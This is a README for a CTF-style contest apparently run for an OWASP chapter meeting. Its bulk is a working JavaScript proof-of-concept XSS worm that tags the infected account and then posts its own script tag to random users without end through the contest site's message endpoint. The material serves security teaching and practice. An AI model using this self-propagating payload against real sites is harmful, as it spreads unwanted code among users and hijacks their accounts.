# XSSworm.dev

Self-replication contest

---

## Description

I created “CTF” style challenge for our OWASP Czech Chapter Virtual Meeting. The goal was to write an XSS worm and score points by infecting 1k virtual users.

### XSS Worm PoC

```

	// XSS worm .dev

	// Self-replication contest

	// Proof of Concept v1.0

	var victims = 1000;

	var team_color = "#000000";

	var url = "https://xssworm.dev";

	var infection_code = "<script id=\"xss_worm\">"+self_propagation()+"<\/script>";

	infect_victim(team_color);

	while (true) {

		var victim_id = get_random_victim(victims);

		spread_infection(victim_id,infection_code);

	}

	function get_random_victim(accounts_count) {

		return Math.floor((Math.random() * accounts_count) + 1);

	}

	function infect_victim(color) {

		var xhr = new XMLHttpRequest();

		var params = "color="+color;

		xhr.open("POST", url+"/update", false);

		xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

		xhr.send(params);

	}

	function self_propagation(){

		return document.getElementById("xss_worm").innerHTML;

	}

	function spread_infection(id,infection_code) {

		var xhr = new XMLHttpRequest();

		var params = "id="+id+"&msg="+encodeURIComponent(infection_code);

		xhr.open("POST", url+"/send-message", false);

		xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

		xhr.send(params);

	}

```
